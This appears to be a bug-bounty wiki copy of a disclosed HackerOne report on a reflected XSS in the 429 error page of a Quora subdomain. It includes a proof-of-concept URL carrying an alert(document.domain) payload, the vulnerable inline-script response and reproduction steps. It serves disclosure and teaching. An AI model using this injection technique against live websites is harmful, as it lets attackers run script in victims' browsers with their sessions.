Skip to content
XSS Disclosed report Beginner

[controlsyou.quora.com] 429 Too Many Requests Error-Page XSS

The 429 error page on a Quora subdomain reflected the URL path into an inline Google Analytics script without sanitisation. An attacker could craft a link that executes JavaScript in the victim's browser on that subdomain.

bobrov Follow

Originally disclosed on HackerOne

  • Triaged in 28 days
  • Fixed in 60 days
  • Paid in 28 days
  • Disclosed after 4 months

Summary: XSS on the error page when the user makes too many requests.

Steps To Reproduce

  1. Make a lot of requests to get the error 429
  2. Open PoC in FireFox
https://controlsyou.quora.com/'-alert(document.domain)-'

HTTP Response

<script type="text/javascript">
...
ga('set', 'dimension1', 'board-'-alert(document.domain)-'');
ga('set', 'dimension2', 'False');
ga('set', 'dimension3', 'False');});});</script>

Optional: Your Environment (Browser version, Device, app version, os version etc)

Tested on FireFox 50.0.2

The original report as published on HackerOne, by bobrov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the error page inserted the request path into an inline script without escaping it for JavaScript context.

What the attacker needed

Victim clicks a crafted link; server returns a 429 error page

How it was found

  1. Send many requests to the subdomain until the server returns a 429 error.
  2. Open the crafted URL in Firefox to trigger the script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website put part of the web address back into the page inside a script, so a crafted address could make the browser run attacker-chosen JavaScript on that site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bobrov

View all

39 more disclosed reports, best first.

More from Quora

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.